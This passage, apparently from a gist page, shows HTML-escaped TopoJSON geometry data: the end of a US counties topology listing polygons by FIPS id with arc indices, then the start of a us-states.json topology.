quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/b2b7902aac884a4a5f41479b0b55c952">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&